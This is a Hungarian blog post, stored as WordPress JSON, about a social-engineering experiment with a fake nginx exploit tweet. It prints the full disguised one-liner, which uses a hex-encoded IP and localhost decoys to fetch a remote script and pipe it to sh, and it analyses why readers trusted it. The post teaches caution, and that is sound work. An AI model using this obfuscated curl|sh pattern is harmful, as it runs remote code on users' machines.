{"id":35126,"date":"2019-10-31T22:02:28","date_gmt":"2019-10-31T19:02:28","guid":{"rendered":"https:\/\/prohoster.info\/blog\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx\/"},"modified":"2019-10-31T22:02:28","modified_gmt":"2019-10-31T19:02:28","slug":"uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","status":"publish","type":"post","link":"https:\/\/prohoster.info\/hu\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","title":{"rendered":"A hamis exploit-tal kapcsolatos t\u00e1rsadalmi k\u00eds\u00e9rlet sikere az nginx sz\u00e1m\u00e1ra","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Megjegyz\u00e9s ford\u00edt\u00e1s.<\/b>: Szerz\u0151:<\/a><\/noindex> Egy k\u00eds\u00e9rletet szeretett volna v\u00e9gezni az informatikai biztons\u00e1g ir\u00e1nt \u00e9rdekl\u0151d\u0151k k\u00f6r\u00e9ben, az eredeti bejegyz\u00e9s alapj\u00e1n, amely j\u00fanius 1-j\u00e9n ker\u00fclt k\u00f6zz\u00e9t\u00e9telre. Ehhez k\u00e9sz\u00edtett egy hamis exploitet egy felfedezetlen sebezhet\u0151s\u00e9ghez a webkiszolg\u00e1l\u00f3n, amelyet a Twitter\u00e9n tett k\u00f6zz\u00e9. Azt felt\u00e9telezte, hogy azonnal leleplezik a szak\u00e9rt\u0151k, akik \u00e9szreveszik a nyilv\u00e1nval\u00f3 csal\u00e1st a k\u00f3dban \u2013 ezek a felt\u00e9telez\u00e9sek azonban nemcsak hogy nem bizonyultak helyt\u00e1ll\u00f3nak\u2026 De minden v\u00e1rakoz\u00e1st fel\u00fclm\u00faltak, s\u0151t a ford\u00edtottjait: a bejegyz\u00e9s \u00f3ri\u00e1si t\u00e1mogat\u00e1sra lelt sz\u00e1mos olyan embert\u0151l, akik nem ellen\u0151rizt\u00e9k a tartalm\u00e1t.<\/i><\/p>\n

\"A
\n
\nTL;DR: semmik\u00e9pp se haszn\u00e1lj f\u00e1jlok cs\u0151vezet\u00e9s\u00e9t sh-ban vagy bash-ban. Ez kiv\u00e1l\u00f3 m\u00f3dja annak, hogy elvesz\u00edtsd a kontrollt a sz\u00e1m\u00edt\u00f3g\u00e9ped felett.<\/b><\/a><\/noindex><\/p>\n

Szeretn\u00e9k megosztani veletek egy kis t\u00f6rt\u00e9netet egy vicces PoC-exploitr\u00f3l, amelyet m\u00e1jus 31-\u00e9n k\u00e9sz\u00edtettek. Ez gyorsan megjelent egy Alisa Esage Sevcsenko<\/a><\/noindex>, a Zero Day Initiative<\/a><\/noindex> (ZDI) tagja, arr\u00f3l, hogy nemsok\u00e1ra nyilv\u00e1noss\u00e1gra ker\u00fcl egy sebezhet\u0151s\u00e9g az NGINX-ben, amely RCE-hez (t\u00e1voli k\u00f3dv\u00e9grehajt\u00e1s) vezet. Mivel az NGINX sok weboldal alapj\u00e1t k\u00e9pezi, a h\u00edrnek bombak\u00e9nt kellett volna visszhangoznia. Azonban az \u201e\u00e9rz\u00e9keny felfed\u00e9s\u201d folyamat\u00e1ban fell\u00e9p\u0151 k\u00e9s\u00e9sek miatt az esem\u00e9ny r\u00e9szletei nem voltak ismertek \u2013 ez a ZDI szok\u00e1sos elj\u00e1r\u00e1sa.<\/p>\n

\"A
\nK\u00f6zlem\u00e9ny<\/a><\/noindex> a sebezhet\u0151s\u00e9g felfed\u00e9s\u00e9r\u0151l az NGINX-ben<\/i><\/p>\n

Miut\u00e1n befejeztem egy \u00faj elk\u00f3dol\u00e1si technika kidolgoz\u00e1s\u00e1t a curl-ben, id\u00e9ztem az eredeti tweetet \u00e9s \"kiadtam egy m\u0171k\u00f6d\u0151 PoC-t\", amely egy sor k\u00f3db\u00f3l \u00e1llt, amely \u00e1ll\u00edt\u00f3lag a felfedezett sebezhet\u0151s\u00e9get haszn\u00e1lja. Term\u00e9szetesen ez teljes ostobas\u00e1g volt. Azt hittem, azonnal lelepleznek, \u00e9s legjobb esetben csak p\u00e1r retweetet kapok (na \u00e9s akkor mi van).<\/p>\n

\"A
\nK\u00f6zlem\u00e9ny<\/a><\/noindex> hamis exploittal<\/i><\/p>\n

\u00c1m nem tudtam elk\u00e9pzelni, mi fog ezut\u00e1n t\u00f6rt\u00e9nni. A tweetem n\u00e9pszer\u0171s\u00e9ge a tet\u0151fok\u00e1ra h\u00e1gott. Meglepet\u00e9s, de jelenleg (j\u00fanius 1-j\u00e9n 15:00 MSK-kor) m\u00e9g mindig kevesen tudj\u00e1k, hogy ez hamis\u00edtv\u00e1ny. Sokan retweetelik an\u00e9lk\u00fcl, hogy val\u00f3ban ellen\u0151rizn\u00e9k (nem is besz\u00e9lve arr\u00f3l, hogy megcsod\u00e1lj\u00e1k a gy\u00f6ny\u00f6r\u0171 ASCII grafik\u00e1t, amelyet mutat).<\/p>\n

\"A
\nCsak n\u00e9zd meg, milyen sz\u00e9ps\u00e9g!<\/i><\/p>\n

B\u00e1r ezek a ciklusok \u00e9s sz\u00ednek nagyszer\u0171ek, vil\u00e1gos, hogy az embereknek a saj\u00e1t g\u00e9p\u00fck\u00f6n kellett futtatniuk a k\u00f3dot, hogy l\u00e1thass\u00e1k \u0151ket. Szerencs\u00e9re a b\u00f6ng\u00e9sz\u0151k hasonl\u00f3an m\u0171k\u00f6dnek, \u00e9s figyelembe v\u00e9ve, hogy nekem nincsenek jogi probl\u00e9m\u00e1im, az \u00e1ltalam a weboldalamra rejtett k\u00f3d csup\u00e1n echo h\u00edv\u00e1sokat v\u00e9gzett, an\u00e9lk\u00fcl, hogy b\u00e1rmilyen kieg\u00e9sz\u00edt\u0151 k\u00f3dot akart volna telep\u00edteni vagy futtatni.<\/p>\n

Egy kis kit\u00e9r\u0151: netspooky<\/a><\/noindex>, dnz<\/a><\/noindex>, \u00e9n \u00e9s a csapat t\u00f6bbi sr\u00e1cai Thugcrowd<\/a><\/noindex> m\u00e1r egy ideje k\u00eds\u00e9rletez\u00fcnk k\u00fcl\u00f6nb\u00f6z\u0151 m\u00f3djaival a curl parancsok elrejt\u00e9s\u00e9nek, mert ez sz\u00f3rakoztat\u00f3... \u00e9s geek dolog. Netspooky \u00e9s dnz felfedeztek n\u00e9h\u00e1ny \u00faj m\u00f3dszert, amelyek rendk\u00edv\u00fcl \u00edg\u00e9retesnek t\u0171ntek sz\u00e1momra. Csatlakoztam a sz\u00f3rakoz\u00e1shoz, \u00e9s megpr\u00f3b\u00e1ltam IP-tizedes \u00e1talak\u00edt\u00e1sokat hozz\u00e1adni a tr\u00fckk\u00f6k sor\u00e1hoz. Kider\u00fclt, hogy az IP-kat hexadecim\u00e1lis form\u00e1tumba is lehet konvert\u00e1lni. Tov\u00e1bb\u00e1 a curl \u00e9s a legt\u00f6bb m\u00e1s NIX eszk\u00f6z \u00f6r\u00f6mmel \u201efogyasztja\u201d a hexadecim\u00e1lis IP-okat! \u00cdgy csup\u00e1n egy meggy\u0151z\u0151 \u00e9s biztons\u00e1gosan kin\u00e9z\u0151 parancssort kellett l\u00e9trehozni. V\u00e9g\u00fcl erre a verzi\u00f3ra jutottam:<\/p>\n

curl -gsS https:\/\/127.0.0.1-OR-VICTIM-SERVER:443\/..\/..\/..\/\/nginx-handler?\/usr\/lib\/nginx\/modules\/ngx_stream_module.so:127.0.0.1:80:\/bin\/sh<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc \/dev\/tcp\/localhost<\/code><\/pre>\n
<\/p>\n
Szoci\u00e1lis-elektronikai m\u00e9rn\u00f6ks\u00e9g (S.E.E.) \u2014 t\u00f6bb mint egyszer\u0171 phishing<\/h2>\n
\nA biztons\u00e1g \u00e9s a megszokotts\u00e1g volt a f\u0151 eleme ennek a k\u00eds\u00e9rletnek. Gondolom, ezek vezettek a siker\u00e9hez. A parancssor egy\u00e9rtelm\u0171en biztons\u00e1got sugallt, mert \u201e127.0.0.1\u201d-re hivatkozott (mindenki \u00e1ltal ismert localhost). \u00dagy tartj\u00e1k, hogy a localhost biztons\u00e1gos, \u00e9s az ott tal\u00e1lhat\u00f3 adatok soha nem hagyj\u00e1k el a sz\u00e1m\u00edt\u00f3g\u00e9pet.<\/p>\n
A megszokotts\u00e1g volt a m\u00e1sodik kulcsfontoss\u00e1g\u00fa S.E.E. komponense a k\u00eds\u00e9rletnek. Mivel a c\u00e9lk\u00f6z\u00f6ns\u00e9g t\u00falnyom\u00f3r\u00e9szt olyan emberekb\u0151l \u00e1llt, akik ismerik a sz\u00e1m\u00edt\u00f3g\u00e9pes biztons\u00e1g alapjait, fontos volt, hogy olyan k\u00f3dot hozzunk l\u00e9tre, amelynek r\u00e9szei ismer\u0151snek \u00e9s megszokottnak t\u0171nnek (\u00e9s ez\u00e9rt biztons\u00e1gosnak). A r\u00e9gi exploit koncepci\u00f3k elemeinek k\u00f6lcs\u00f6nz\u00e9se \u00e9s szokatlan m\u00f3don val\u00f3 kombin\u00e1l\u00e1sa meglehet\u0151sen sikeresnek bizonyult.<\/p>\n
Az al\u00e1bbiakban egy r\u00e9szletes elemz\u00e9s tal\u00e1lhat\u00f3 az egy sorba t\u00f6m\u00f6r\u00edtett k\u00f3dr\u00f3l. Minden, ami ezen a list\u00e1n szerepel, csup\u00e1n kozmetikai jelleg\u0171<\/b>, \u00e9s m\u0171k\u00f6d\u00e9s\u00e9hez gyakorlatilag semmi nem sz\u00fcks\u00e9ges.<\/i><\/p>\n
Mik is azok a t\u00e9nylegesen sz\u00fcks\u00e9ges komponensek? Ezek -gsS<\/code>, -O 0x0238f06a<\/code>, |sh<\/code> \u00e9s maga a webkiszolg\u00e1l\u00f3. A webkiszolg\u00e1l\u00f3 nem tartalmazott semmilyen k\u00e1rt\u00e9kony utas\u00edt\u00e1st, csup\u00e1n ASCII grafik\u00e1t tov\u00e1bb\u00edtott parancsok seg\u00edts\u00e9g\u00e9vel echo<\/code> a szkriptben, amely szerepel index.html<\/code>. Amikor a felhaszn\u00e1l\u00f3 be\u00edrt egy sort |sh<\/code> a k\u00f6zep\u00e9n, index.html<\/code> bet\u00f6lt\u0151d\u00f6tt \u00e9s v\u00e9grehajt\u00f3dott. Szerencs\u00e9re a webkiszolg\u00e1l\u00f3 \u0151rz\u0151i nem voltak rosszindulat\u00faak.<\/p>\n